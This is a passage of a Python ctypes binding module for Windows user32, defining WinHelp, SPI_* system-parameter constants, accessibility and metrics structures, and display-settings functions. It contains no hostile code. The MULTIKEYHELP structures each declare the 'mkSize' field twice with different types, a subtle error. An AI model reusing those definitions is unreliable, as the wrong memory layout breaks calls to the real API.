lpKids);\nTileWindows = user32.TileWindows\nTileWindows.restype = WINAPI\n\n\n# WORD\n# WINAPI CascadeWindows(\n# _In_opt_ HWND hwndParent,\n# _In_ UINT wHow,\n# _In_opt_ CONST RECT * lpRect,\n# _In_ UINT cKids,\n# _In_reads_opt_(cKids) HWND FAR * lpKids);\nCascadeWindows = user32.CascadeWindows\nCascadeWindows.restype = WINAPI\n\nHELPPOLY = DWORD\n\nclass tagMULTIKEYHELPA(ctypes.Structure):\n _fields_ = [\n ('mkSize', DWORD),\n ('mkSize', WORD),\n ('mkKeylist', CHAR),\n ('szKeyphrase', CHAR * 1),\n ]\n\n\nMULTIKEYHELPA = tagMULTIKEYHELPA\nPMULTIKEYHELPA = POINTER(tagMULTIKEYHELPA)\nLPMULTIKEYHELPA = POINTER(tagMULTIKEYHELPA)\n\n\n\nclass tagMULTIKEYHELPW(ctypes.Structure):\n _fields_ = [\n ('mkSize', DWORD),\n ('mkSize', WORD),\n ('mkKeylist', WCHAR),\n ('szKeyphrase', WCHAR * 1),\n ]\n\n\nMULTIKEYHELPW = tagMULTIKEYHELPW\nPMULTIKEYHELPW = POINTER(tagMULTIKEYHELPW)\nLPMULTIKEYHELPW = POINTER(tagMULTIKEYHELPW)\n\n\nMULTIKEYHELP = MULTIKEYHELPW\nPMULTIKEYHELP = PMULTIKEYHELPW\nLPMULTIKEYHELP = LPMULTIKEYHELPW\n\nclass tagHELPWININFOA(ctypes.Structure):\n _fields_ = [\n ('wStructSize', INT),\n ('x', INT),\n ('y', INT),\n ('dx', INT),\n ('dy', INT),\n ('wMax', INT),\n ('rgchMember', CHAR * 2),\n ]\n\n\nHELPWININFOA = tagHELPWININFOA\nPHELPWININFOA = POINTER(tagHELPWININFOA)\nLPHELPWININFOA = POINTER(tagHELPWININFOA)\n\n\n\nclass tagHELPWININFOW(ctypes.Structure):\n _fields_ = [\n ('wStructSize', INT),\n ('x', INT),\n ('y', INT),\n ('dx', INT),\n ('dy', INT),\n ('wMax', INT),\n ('rgchMember', WCHAR * 2),\n ]\n\n\nHELPWININFOW = tagHELPWININFOW\nPHELPWININFOW = POINTER(tagHELPWININFOW)\nLPHELPWININFOW = POINTER(tagHELPWININFOW)\n\n\nHELPWININFO = HELPWININFOW\nPHELPWININFO = PHELPWININFOW\nLPHELPWININFO = LPHELPWININFOW\nHELP_CONTEXT = 0x00000001\nHELP_QUIT = 0x00000002\nHELP_INDEX = 0x00000003\nHELP_CONTENTS = 0x00000003\nHELP_HELPONHELP = 0x00000004\nHELP_SETINDEX = 0x00000005\nHELP_SETCONTENTS = 0x00000005\nHELP_CONTEXTPOPUP = 0x00000008\nHELP_FORCEFILE = 0x00000009\nHELP_KEY = 0x00000101\nHELP_COMMAND = 0x00000102\nHELP_PARTIALKEY = 0x00000105\nHELP_MULTIKEY = 0x00000201\nHELP_SETWINPOS = 0x00000203\nHELP_CONTEXTMENU = 0x0000000A\nHELP_FINDER = 0x0000000B\nHELP_WM_HELP = 0x0000000C\nHELP_SETPOPUP_POS = 0x0000000D\nHELP_TCARD = 0x00008000\nHELP_TCARD_DATA = 0x00000010\nHELP_TCARD_OTHER_CALLER = 0x00000011\nIDH_NO_HELP = 0x00006F18\nIDH_MISSING_CONTEXT = 0x00006F19\nIDH_GENERIC_HELP_BUTTON = 0x00006F1A\nIDH_OK = 0x00006F1B\nIDH_CANCEL = 0x00006F1C\nIDH_HELP = 0x00006F1D\n\n# WINAPI\n# WinHelpA(\n# _In_opt_ HWND hWndMain,\n# _In_opt_ LPCSTR lpszHelp,\n# _In_ UINT uCommand,\n# _In_ ULONG_PTR dwData);\nWinHelpA = user32.WinHelpA\nWinHelpA.restype = WINAPI\n\n\n# WINAPI\n# WinHelpW(\n# _In_opt_ HWND hWndMain,\n# _In_opt_ LPCWSTR lpszHelp,\n# _In_ UINT uCommand,\n# _In_ ULONG_PTR dwData);\nWinHelpW = user32.WinHelpW\nWinHelpW.restype = WINAPI\n\nWinHelp = WinHelpW\n# WinHelp = WinHelpA\nGR_GDIOBJECTS = 0x00000000\nGR_USEROBJECTS = 0x00000001\nGR_GDIOBJECTS_PEAK = 0x00000002\nGR_USEROBJECTS_PEAK = 0x00000004\nGR_GLOBAL = -2\n\n# WINAPI\n# GetGuiResources(\n# _In_ HANDLE hProcess,\n# _In_ DWORD uiFlags);\nGetGuiResources = user32.GetGuiResources\nGetGuiResources.restype = WINAPI\n\nSPI_GETBEEP = 0x00000001\nSPI_SETBEEP = 0x00000002\nSPI_GETMOUSE = 0x00000003\nSPI_SETMOUSE = 0x00000004\nSPI_GETBORDER = 0x00000005\nSPI_SETBORDER = 0x00000006\nSPI_GETKEYBOARDSPEED = 0x0000000A\nSPI_SETKEYBOARDSPEED = 0x0000000B\nSPI_LANGDRIVER = 0x0000000C\nSPI_ICONHORIZONTALSPACING = 0x0000000D\nSPI_GETSCREENSAVETIMEOUT = 0x0000000E\nSPI_SETSCREENSAVETIMEOUT = 0x0000000F\nSPI_GETSCREENSAVEACTIVE = 0x00000010\nSPI_SETSCREENSAVEACTIVE = 0x00000011\nSPI_GETGRIDGRANULARITY = 0x00000012\nSPI_SETGRIDGRANULARITY = 0x00000013\nSPI_SETDESKWALLPAPER = 0x00000014\nSPI_SETDESKPATTERN = 0x00000015\nSPI_GETKEYBOARDDELAY = 0x00000016\nSPI_SETKEYBOARDDELAY = 0x00000017\nSPI_ICONVERTICALSPACING = 0x00000018\nSPI_GETICONTITLEWRAP = 0x00000019\nSPI_SETICONTITLEWRAP = 0x0000001A\nSPI_GETMENUDROPALIGNMENT = 0x0000001B\nSPI_SETMENUDROPALIGNMENT = 0x0000001C\nSPI_SETDOUBLECLKWIDTH = 0x0000001D\nSPI_SETDOUBLECLKHEIGHT = 0x0000001E\nSPI_GETICONTITLELOGFONT = 0x0000001F\nSPI_SETDOUBLECLICKTIME = 0x00000020\nSPI_SETMOUSEBUTTONSWAP = 0x00000021\nSPI_SETICONTITLELOGFONT = 0x00000022\nSPI_GETFASTTASKSWITCH = 0x00000023\nSPI_SETFASTTASKSWITCH = 0x00000024\nSPI_SETDRAGFULLWINDOWS = 0x00000025\nSPI_GETDRAGFULLWINDOWS = 0x00000026\nSPI_GETNONCLIENTMETRICS = 0x00000029\nSPI_SETNONCLIENTMETRICS = 0x0000002A\nSPI_GETMINIMIZEDMETRICS = 0x0000002B\nSPI_SETMINIMIZEDMETRICS = 0x0000002C\nSPI_GETICONMETRICS = 0x0000002D\nSPI_SETICONMETRICS = 0x0000002E\nSPI_SETWORKAREA = 0x0000002F\nSPI_GETWORKAREA = 0x00000030\nSPI_SETPENWINDOWS = 0x00000031\nSPI_GETHIGHCONTRAST = 0x00000042\nSPI_SETHIGHCONTRAST = 0x00000043\nSPI_GETKEYBOARDPREF = 0x00000044\nSPI_SETKEYBOARDPREF = 0x00000045\nSPI_GETSCREENREADER = 0x00000046\nSPI_SETSCREENREADER = 0x00000047\nSPI_GETANIMATION = 0x00000048\nSPI_SETANIMATION = 0x00000049\nSPI_GETFONTSMOOTHING = 0x0000004A\nSPI_SETFONTSMOOTHING = 0x0000004B\nSPI_SETDRAGWIDTH = 0x0000004C\nSPI_SETDRAGHEIGHT = 0x0000004D\nSPI_SETHANDHELD = 0x0000004E\nSPI_GETLOWPOWERTIMEOUT = 0x0000004F\nSPI_GETPOWEROFFTIMEOUT = 0x00000050\nSPI_SETLOWPOWERTIMEOUT = 0x00000051\nSPI_SETPOWEROFFTIMEOUT = 0x00000052\nSPI_GETLOWPOWERACTIVE = 0x00000053\nSPI_GETPOWEROFFACTIVE = 0x00000054\nSPI_SETLOWPOWERACTIVE = 0x00000055\nSPI_SETPOWEROFFACTIVE = 0x00000056\nSPI_SETCURSORS = 0x00000057\nSPI_SETICONS = 0x00000058\nSPI_GETDEFAULTINPUTLANG = 0x00000059\nSPI_SETDEFAULTINPUTLANG = 0x0000005A\nSPI_SETLANGTOGGLE = 0x0000005B\nSPI_GETWINDOWSEXTENSION = 0x0000005C\nSPI_SETMOUSETRAILS = 0x0000005D\nSPI_GETMOUSETRAILS = 0x0000005E\nSPI_SETSCREENSAVERRUNNING = 0x00000061\nSPI_SCREENSAVERRUNNING = SPI_SETSCREENSAVERRUNNING\nSPI_GETFILTERKEYS = 0x00000032\nSPI_SETFILTERKEYS = 0x00000033\nSPI_GETTOGGLEKEYS = 0x00000034\nSPI_SETTOGGLEKEYS = 0x00000035\nSPI_GETMOUSEKEYS = 0x00000036\nSPI_SETMOUSEKEYS = 0x00000037\nSPI_GETSHOWSOUNDS = 0x00000038\nSPI_SETSHOWSOUNDS = 0x00000039\nSPI_GETSTICKYKEYS = 0x0000003A\nSPI_SETSTICKYKEYS = 0x0000003B\nSPI_GETACCESSTIMEOUT = 0x0000003C\nSPI_SETACCESSTIMEOUT = 0x0000003D\nSPI_GETSERIALKEYS = 0x0000003E\nSPI_SETSERIALKEYS = 0x0000003F\nSPI_GETSOUNDSENTRY = 0x00000040\nSPI_SETSOUNDSENTRY = 0x00000041\nSPI_GETSNAPTODEFBUTTON = 0x0000005F\nSPI_SETSNAPTODEFBUTTON = 0x00000060\nSPI_GETMOUSEHOVERWIDTH = 0x00000062\nSPI_SETMOUSEHOVERWIDTH = 0x00000063\nSPI_GETMOUSEHOVERHEIGHT = 0x00000064\nSPI_SETMOUSEHOVERHEIGHT = 0x00000065\nSPI_GETMOUSEHOVERTIME = 0x00000066\nSPI_SETMOUSEHOVERTIME = 0x00000067\nSPI_GETWHEELSCROLLLINES = 0x00000068\nSPI_SETWHEELSCROLLLINES = 0x00000069\nSPI_GETMENUSHOWDELAY = 0x0000006A\nSPI_SETMENUSHOWDELAY = 0x0000006B\nSPI_GETWHEELSCROLLCHARS = 0x0000006C\nSPI_SETWHEELSCROLLCHARS = 0x0000006D\nSPI_GETSHOWIMEUI = 0x0000006E\nSPI_SETSHOWIMEUI = 0x0000006F\nSPI_GETMOUSESPEED = 0x00000070\nSPI_SETMOUSESPEED = 0x00000071\nSPI_GETSCREENSAVERRUNNING = 0x00000072\nSPI_GETDESKWALLPAPER = 0x00000073\nSPI_GETAUDIODESCRIPTION = 0x00000074\nSPI_SETAUDIODESCRIPTION = 0x00000075\nSPI_GETSCREENSAVESECURE = 0x00000076\nSPI_SETSCREENSAVESECURE = 0x00000077\nSPI_GETHUNGAPPTIMEOUT = 0x00000078\nSPI_SETHUNGAPPTIMEOUT = 0x00000079\nSPI_GETWAITTOKILLTIMEOUT = 0x0000007A\nSPI_SETWAITTOKILLTIMEOUT = 0x0000007B\nSPI_GETWAITTOKILLSERVICETIMEOUT = 0x0000007C\nSPI_SETWAITTOKILLSERVICETIMEOUT = 0x0000007D\nSPI_GETMOUSEDOCKTHRESHOLD = 0x0000007E\nSPI_SETMOUSEDOCKTHRESHOLD = 0x0000007F\nSPI_GETPENDOCKTHRESHOLD = 0x00000080\nSPI_SETPENDOCKTHRESHOLD = 0x00000081\nSPI_GETWINARRANGING = 0x00000082\nSPI_SETWINARRANGING = 0x00000083\nSPI_GETMOUSEDRAGOUTTHRESHOLD = 0x00000084\nSPI_SETMOUSEDRAGOUTTHRESHOLD = 0x00000085\nSPI_GETPENDRAGOUTTHRESHOLD = 0x00000086\nSPI_SETPENDRAGOUTTHRESHOLD = 0x00000087\nSPI_GETMOUSESIDEMOVETHRESHOLD = 0x00000088\nSPI_SETMOUSESIDEMOVETHRESHOLD = 0x00000089\nSPI_GETPENSIDEMOVETHRESHOLD = 0x0000008A\nSPI_SETPENSIDEMOVETHRESHOLD = 0x0000008B\nSPI_GETDRAGFROMMAXIMIZE = 0x0000008C\nSPI_SETDRAGFROMMAXIMIZE = 0x0000008D\nSPI_GETSNAPSIZING = 0x0000008E\nSPI_SETSNAPSIZING = 0x0000008F\nSPI_GETDOCKMOVING = 0x00000090\nSPI_SETDOCKMOVING = 0x00000091\nMAX_TOUCH_PREDICTION_FILTER_TAPS = 0x00000003\n\nclass tagTouchPredictionParameters(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwLatency', UINT),\n ('dwSampleTime', UINT),\n ('bUseHWTimeStamp', UINT),\n ]\n\n\nTOUCHPREDICTIONPARAMETERS = tagTouchPredictionParameters\nPTOUCHPREDICTIONPARAMETERS = POINTER(tagTouchPredictionParameters)\n\n\nTOUCHPREDICTIONPARAMETERS_DEFAULT_LATENCY = 0x00000008\nTOUCHPREDICTIONPARAMETERS_DEFAULT_SAMPLETIME = 0x00000008\nTOUCHPREDICTIONPARAMETERS_DEFAULT_USE_HW_TIMESTAMP = 0x00000001\nTOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_DELTA = 0.001\nTOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_LAMBDA_MIN = 0.9\nTOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_LAMBDA_MAX = 0.999\nTOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_LAMBDA_LEARNING_RATE = 0.001\nTOUCHPREDICTIONPARAMETERS_DEFAULT_RLS_EXPO_SMOOTH_ALPHA = 0.99\nSPI_GETTOUCHPREDICTIONPARAMETERS = 0x0000009C\nSPI_SETTOUCHPREDICTIONPARAMETERS = 0x0000009D\nMAX_LOGICALDPIOVERRIDE = 0x00000002\nMIN_LOGICALDPIOVERRIDE = -2\nSPI_GETLOGICALDPIOVERRIDE = 0x0000009E\nSPI_SETLOGICALDPIOVERRIDE = 0x0000009F\nSPI_GETMENURECT = 0x000000A2\nSPI_SETMENURECT = 0x000000A3\nSPI_GETACTIVEWINDOWTRACKING = 0x00001000\nSPI_SETACTIVEWINDOWTRACKING = 0x00001001\nSPI_GETMENUANIMATION = 0x00001002\nSPI_SETMENUANIMATION = 0x00001003\nSPI_GETCOMBOBOXANIMATION = 0x00001004\nSPI_SETCOMBOBOXANIMATION = 0x00001005\nSPI_GETLISTBOXSMOOTHSCROLLING = 0x00001006\nSPI_SETLISTBOXSMOOTHSCROLLING = 0x00001007\nSPI_GETGRADIENTCAPTIONS = 0x00001008\nSPI_SETGRADIENTCAPTIONS = 0x00001009\nSPI_GETKEYBOARDCUES = 0x0000100A\nSPI_SETKEYBOARDCUES = 0x0000100B\nSPI_GETMENUUNDERLINES = SPI_GETKEYBOARDCUES\nSPI_SETMENUUNDERLINES = SPI_SETKEYBOARDCUES\nSPI_GETACTIVEWNDTRKZORDER = 0x0000100C\nSPI_SETACTIVEWNDTRKZORDER = 0x0000100D\nSPI_GETHOTTRACKING = 0x0000100E\nSPI_SETHOTTRACKING = 0x0000100F\nSPI_GETMENUFADE = 0x00001012\nSPI_SETMENUFADE = 0x00001013\nSPI_GETSELECTIONFADE = 0x00001014\nSPI_SETSELECTIONFADE = 0x00001015\nSPI_GETTOOLTIPANIMATION = 0x00001016\nSPI_SETTOOLTIPANIMATION = 0x00001017\nSPI_GETTOOLTIPFADE = 0x00001018\nSPI_SETTOOLTIPFADE = 0x00001019\nSPI_GETCURSORSHADOW = 0x0000101A\nSPI_SETCURSORSHADOW = 0x0000101B\nSPI_GETMOUSESONAR = 0x0000101C\nSPI_SETMOUSESONAR = 0x0000101D\nSPI_GETMOUSECLICKLOCK = 0x0000101E\nSPI_SETMOUSECLICKLOCK = 0x0000101F\nSPI_GETMOUSEVANISH = 0x00001020\nSPI_SETMOUSEVANISH = 0x00001021\nSPI_GETFLATMENU = 0x00001022\nSPI_SETFLATMENU = 0x00001023\nSPI_GETDROPSHADOW = 0x00001024\nSPI_SETDROPSHADOW = 0x00001025\nSPI_GETBLOCKSENDINPUTRESETS = 0x00001026\nSPI_SETBLOCKSENDINPUTRESETS = 0x00001027\nSPI_GETUIEFFECTS = 0x0000103E\nSPI_SETUIEFFECTS = 0x0000103F\nSPI_GETDISABLEOVERLAPPEDCONTENT = 0x00001040\nSPI_SETDISABLEOVERLAPPEDCONTENT = 0x00001041\nSPI_GETCLIENTAREAANIMATION = 0x00001042\nSPI_SETCLIENTAREAANIMATION = 0x00001043\nSPI_GETCLEARTYPE = 0x00001048\nSPI_SETCLEARTYPE = 0x00001049\nSPI_GETSPEECHRECOGNITION = 0x0000104A\nSPI_SETSPEECHRECOGNITION = 0x0000104B\nSPI_GETCARETBROWSING = 0x0000104C\nSPI_SETCARETBROWSING = 0x0000104D\nSPI_GETTHREADLOCALINPUTSETTINGS = 0x0000104E\nSPI_SETTHREADLOCALINPUTSETTINGS = 0x0000104F\nSPI_GETSYSTEMLANGUAGEBAR = 0x00001050\nSPI_SETSYSTEMLANGUAGEBAR = 0x00001051\nSPI_GETFOREGROUNDLOCKTIMEOUT = 0x00002000\nSPI_SETFOREGROUNDLOCKTIMEOUT = 0x00002001\nSPI_GETACTIVEWNDTRKTIMEOUT = 0x00002002\nSPI_SETACTIVEWNDTRKTIMEOUT = 0x00002003\nSPI_GETFOREGROUNDFLASHCOUNT = 0x00002004\nSPI_SETFOREGROUNDFLASHCOUNT = 0x00002005\nSPI_GETCARETWIDTH = 0x00002006\nSPI_SETCARETWIDTH = 0x00002007\nSPI_GETMOUSECLICKLOCKTIME = 0x00002008\nSPI_SETMOUSECLICKLOCKTIME = 0x00002009\nSPI_GETFONTSMOOTHINGTYPE = 0x0000200A\nSPI_SETFONTSMOOTHINGTYPE = 0x0000200B\nFE_FONTSMOOTHINGSTANDARD = 0x00000001\nFE_FONTSMOOTHINGCLEARTYPE = 0x00000002\nSPI_GETFONTSMOOTHINGCONTRAST = 0x0000200C\nSPI_SETFONTSMOOTHINGCONTRAST = 0x0000200D\nSPI_GETFOCUSBORDERWIDTH = 0x0000200E\nSPI_SETFOCUSBORDERWIDTH = 0x0000200F\nSPI_GETFOCUSBORDERHEIGHT = 0x00002010\nSPI_SETFOCUSBORDERHEIGHT = 0x00002011\nSPI_GETFONTSMOOTHINGORIENTATION = 0x00002012\nSPI_SETFONTSMOOTHINGORIENTATION = 0x00002013\nFE_FONTSMOOTHINGORIENTATIONBGR = 0x00000000\nFE_FONTSMOOTHINGORIENTATIONRGB = 0x00000001\nSPI_GETMINIMUMHITRADIUS = 0x00002014\nSPI_SETMINIMUMHITRADIUS = 0x00002015\nSPI_GETMESSAGEDURATION = 0x00002016\nSPI_SETMESSAGEDURATION = 0x00002017\nSPI_GETCONTACTVISUALIZATION = 0x00002018\nSPI_SETCONTACTVISUALIZATION = 0x00002019\nCONTACTVISUALIZATION_OFF = 0x00000000\nCONTACTVISUALIZATION_ON = 0x00000001\nCONTACTVISUALIZATION_PRESENTATIONMODE = 0x00000002\nSPI_GETGESTUREVISUALIZATION = 0x0000201A\nSPI_SETGESTUREVISUALIZATION = 0x0000201B\nGESTUREVISUALIZATION_OFF = 0x00000000\nGESTUREVISUALIZATION_ON = 0x0000001F\nGESTUREVISUALIZATION_TAP = 0x00000001\nGESTUREVISUALIZATION_DOUBLETAP = 0x00000002\nGESTUREVISUALIZATION_PRESSANDTAP = 0x00000004\nGESTUREVISUALIZATION_PRESSANDHOLD = 0x00000008\nGESTUREVISUALIZATION_RIGHTTAP = 0x00000010\nSPI_GETMOUSEWHEELROUTING = 0x0000201C\nSPI_SETMOUSEWHEELROUTING = 0x0000201D\nMOUSEWHEEL_ROUTING_FOCUS = 0x00000000\nMOUSEWHEEL_ROUTING_HYBRID = 0x00000001\nMOUSEWHEEL_ROUTING_MOUSE_POS = 0x00000002\nSPI_GETPENVISUALIZATION = 0x0000201E\nSPI_SETPENVISUALIZATION = 0x0000201F\nPENVISUALIZATION_ON = 0x00000023\nPENVISUALIZATION_OFF = 0x00000000\nPENVISUALIZATION_TAP = 0x00000001\nPENVISUALIZATION_DOUBLETAP = 0x00000002\nPENVISUALIZATION_CURSOR = 0x00000020\nSPI_GETPENARBITRATIONTYPE = 0x00002020\nSPI_SETPENARBITRATIONTYPE = 0x00002021\nPENARBITRATIONTYPE_NONE = 0x00000000\nPENARBITRATIONTYPE_WIN8 = 0x00000001\nPENARBITRATIONTYPE_FIS = 0x00000002\nPENARBITRATIONTYPE_SPT = 0x00000003\nPENARBITRATIONTYPE_MAX = 0x00000004\nSPI_GETCARETTIMEOUT = 0x00002022\nSPI_SETCARETTIMEOUT = 0x00002023\nSPI_GETHANDEDNESS = 0x00002024\nSPI_SETHANDEDNESS = 0x00002025\n\n\nclass tagHANDEDNESS(ENUM):\n HANDEDNESS_LEFT = 0\n HANDEDNESS_RIGHT = 1\n\n\nHANDEDNESS = tagHANDEDNESS\nPHANDEDNESS = POINTER(tagHANDEDNESS)\n\n\nSPIF_UPDATEINIFILE = 0x00000001\nSPIF_SENDWININICHANGE = 0x00000002\nSPIF_SENDCHANGE = SPIF_SENDWININICHANGE\nMETRICS_USEDEFAULT = -1\n\nfrom shtypes_h import *\n\n\nclass tagNONCLIENTMETRICSA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iBorderWidth', INT),\n ('iScrollWidth', INT),\n ('iScrollHeight', INT),\n ('iCaptionWidth', INT),\n ('iCaptionHeight', INT),\n ('lfCaptionFont', LOGFONTA),\n ('iSmCaptionWidth', INT),\n ('iSmCaptionHeight', INT),\n ('lfSmCaptionFont', LOGFONTA),\n ('iMenuWidth', INT),\n ('iMenuHeight', INT),\n ('lfMenuFont', LOGFONTA),\n ('lfStatusFont', LOGFONTA),\n ('lfMessageFont', LOGFONTA),\n ('iPaddedBorderWidth', INT),\n ]\n\n\nNONCLIENTMETRICSA = tagNONCLIENTMETRICSA\nPNONCLIENTMETRICSA = POINTER(tagNONCLIENTMETRICSA)\nLPNONCLIENTMETRICSA = POINTER(tagNONCLIENTMETRICSA)\n\n\n\nclass tagNONCLIENTMETRICSW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iBorderWidth', INT),\n ('iScrollWidth', INT),\n ('iScrollHeight', INT),\n ('iCaptionWidth', INT),\n ('iCaptionHeight', INT),\n ('lfCaptionFont', LOGFONTW),\n ('iSmCaptionWidth', INT),\n ('iSmCaptionHeight', INT),\n ('lfSmCaptionFont', LOGFONTW),\n ('iMenuWidth', INT),\n ('iMenuHeight', INT),\n ('lfMenuFont', LOGFONTW),\n ('lfStatusFont', LOGFONTW),\n ('lfMessageFont', LOGFONTW),\n ('iPaddedBorderWidth', INT),\n ]\n\n\nNONCLIENTMETRICSW = tagNONCLIENTMETRICSW\nPNONCLIENTMETRICSW = POINTER(tagNONCLIENTMETRICSW)\nLPNONCLIENTMETRICSW = POINTER(tagNONCLIENTMETRICSW)\n\n\nNONCLIENTMETRICS = NONCLIENTMETRICSW\nPNONCLIENTMETRICS = PNONCLIENTMETRICSW\nLPNONCLIENTMETRICS = LPNONCLIENTMETRICSW\nARW_BOTTOMLEFT = 0x00000000\nARW_BOTTOMRIGHT = 0x00000001\nARW_TOPLEFT = 0x00000002\nARW_TOPRIGHT = 0x00000003\nARW_STARTMASK = 0x00000003\nARW_STARTRIGHT = 0x00000001\nARW_STARTTOP = 0x00000002\nARW_LEFT = 0x00000000\nARW_RIGHT = 0x00000000\nARW_UP = 0x00000004\nARW_DOWN = 0x00000004\nARW_HIDE = 0x00000008\n\nclass tagMINIMIZEDMETRICS(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iWidth', INT),\n ('iHorzGap', INT),\n ('iVertGap', INT),\n ('iArrange', INT),\n ]\n\n\nMINIMIZEDMETRICS = tagMINIMIZEDMETRICS\nPMINIMIZEDMETRICS = POINTER(tagMINIMIZEDMETRICS)\nLPMINIMIZEDMETRICS = POINTER(tagMINIMIZEDMETRICS)\n\n\n\nclass tagICONMETRICSA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iHorzSpacing', INT),\n ('iVertSpacing', INT),\n ('iTitleWrap', INT),\n ('lfFont', LOGFONTA),\n ]\n\n\nICONMETRICSA = tagICONMETRICSA\nPICONMETRICSA = POINTER(tagICONMETRICSA)\nLPICONMETRICSA = POINTER(tagICONMETRICSA)\n\n\n\nclass tagICONMETRICSW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iHorzSpacing', INT),\n ('iVertSpacing', INT),\n ('iTitleWrap', INT),\n ('lfFont', LOGFONTW),\n ]\n\n\nICONMETRICSW = tagICONMETRICSW\nPICONMETRICSW = POINTER(tagICONMETRICSW)\nLPICONMETRICSW = POINTER(tagICONMETRICSW)\n\n\nICONMETRICS = ICONMETRICSW\nPICONMETRICS = PICONMETRICSW\nLPICONMETRICS = LPICONMETRICSW\n\nclass tagANIMATIONINFO(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('iMinAnimate', INT),\n ]\n\n\nANIMATIONINFO = tagANIMATIONINFO\nLPANIMATIONINFO = POINTER(tagANIMATIONINFO)\n\n\n\nclass tagSERIALKEYSA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('lpszActivePort', LPSTR),\n ('lpszPort', LPSTR),\n ('iBaudRate', UINT),\n ('iPortState', UINT),\n ('iActive', UINT),\n ]\n\n\nSERIALKEYSA = tagSERIALKEYSA\nLPSERIALKEYSA = POINTER(tagSERIALKEYSA)\n\n\n\nclass tagSERIALKEYSW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('lpszActivePort', LPWSTR),\n ('lpszPort', LPWSTR),\n ('iBaudRate', UINT),\n ('iPortState', UINT),\n ('iActive', UINT),\n ]\n\n\nSERIALKEYSW = tagSERIALKEYSW\nLPSERIALKEYSW = POINTER(tagSERIALKEYSW)\n\n\nSERIALKEYS = SERIALKEYSW\nLPSERIALKEYS = LPSERIALKEYSW\nSERKF_SERIALKEYSON = 0x00000001\nSERKF_AVAILABLE = 0x00000002\nSERKF_INDICATOR = 0x00000004\n\nclass tagHIGHCONTRASTA(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('lpszDefaultScheme', LPSTR),\n ]\n\n\nHIGHCONTRASTA = tagHIGHCONTRASTA\nLPHIGHCONTRASTA = POINTER(tagHIGHCONTRASTA)\n\n\n\nclass tagHIGHCONTRASTW(ctypes.Structure):\n _fields_ = [\n ('cbSize', UINT),\n ('dwFlags', DWORD),\n ('lpszDefaultScheme', LPWSTR),\n ]\n\n\nHIGHCONTRASTW = tagHIGHCONTRASTW\nLPHIGHCONTRASTW = POINTER(tagHIGHCONTRASTW)\n\n\nHIGHCONTRAST = HIGHCONTRASTW\nLPHIGHCONTRAST = LPHIGHCONTRASTW\nHCF_HIGHCONTRASTON = 0x00000001\nHCF_AVAILABLE = 0x00000002\nHCF_HOTKEYACTIVE = 0x00000004\nHCF_CONFIRMHOTKEY = 0x00000008\nHCF_HOTKEYSOUND = 0x00000010\nHCF_INDICATOR = 0x00000020\nHCF_HOTKEYAVAILABLE = 0x00000040\nHCF_LOGONDESKTOP = 0x00000100\nHCF_DEFAULTDESKTOP = 0x00000200\nCDS_UPDATEREGISTRY = 0x00000001\nCDS_TEST = 0x00000002\nCDS_FULLSCREEN = 0x00000004\nCDS_GLOBAL = 0x00000008\nCDS_SET_PRIMARY = 0x00000010\nCDS_VIDEOPARAMETERS = 0x00000020\nCDS_ENABLE_UNSAFE_MODES = 0x00000100\nCDS_DISABLE_UNSAFE_MODES = 0x00000200\nCDS_RESET = 0x40000000\nCDS_RESET_EX = 0x20000000\nCDS_NORESET = 0x10000000\n\nfrom tvout_h import * # NOQA\n\nDISP_CHANGE_SUCCESSFUL = 0x00000000\nDISP_CHANGE_RESTART = 0x00000001\nDISP_CHANGE_FAILED = -1\nDISP_CHANGE_BADMODE = -2\nDISP_CHANGE_NOTUPDATED = -3\nDISP_CHANGE_BADFLAGS = -4\nDISP_CHANGE_BADPARAM = -5\nDISP_CHANGE_BADDUALVIEW = -6\n\n# WINAPI\n# ChangeDisplaySettingsA(\n# _In_opt_ DEVMODEA* lpDevMode,\n# _In_ DWORD dwFlags);\nChangeDisplaySettingsA = user32.ChangeDisplaySettingsA\nChangeDisplaySettingsA.restype = WINAPI\n\n\n# WINAPI\n# ChangeDisplaySettingsW(\n# _In_opt_ DEVMODEW* lpDevMode,\n# _In_ DWORD dwFlags);\nChangeDisplaySettingsW = user32.ChangeDisplaySettingsW\nChangeDisplaySettingsW.restype = WINAPI\n\nChangeDisplaySettings = ChangeDisplaySettingsW\n# ChangeDisplaySettings = ChangeDisplaySettingsA\n\n# WINAPI\n# ChangeDisplaySettingsExA(\n# _In_opt_ LPCSTR lpszDeviceName,\n# _In_opt_ DEVMODEA* lpDevMode,\n# _Reserved_ HWND hwnd,\n# _In_ DWORD dwflags,\n# _In_opt_ LPVOID lParam);\nChangeDisplaySettingsExA = user32.ChangeDisplaySettingsExA\nChangeDisplaySettingsExA.restype = WINAPI\n\n\n# WINAPI\n# ChangeDisplaySettingsExW(\n# _In_opt_ LPCWSTR lpszDeviceName,\n# _In_opt_ DEVMODEW* lpDevMode,\n# _Reserved_ HWND hwnd,\n# _In_ DWORD dwflags,\n# _In_opt_ LPVOID lParam);\nChangeDisplaySettingsExW = user32.ChangeDisplaySettingsExW\nChangeDisplaySettingsExW.restype = WINAPI\n\nChangeDisplaySettingsEx = ChangeDisplaySettingsExW\n# ChangeDisplaySettingsEx = ChangeDisplaySettingsExA\nENUM_CURRENT_SETTINGS = -1\nENUM_REGISTRY_SETTINGS = -2\n\n# WINAPI\n# EnumDisplaySettingsA(\n# _In_opt_ LPCSTR lpszDeviceName,\n# _In_ DWORD iModeNum,\n# _Inout_ DEVMODEA* lpDevMode);\nEnumDisplaySettingsA = user32.EnumDisplaySettingsA\nEnumDisplaySettingsA.restype = WINAPI\n\n\n# WINAPI\n# EnumDisplaySettingsW(\n# _In_opt_ LPCWSTR lpszDeviceName,\n# _In_ DWORD iModeNum,\n# _Inout_ DEVMODEW* 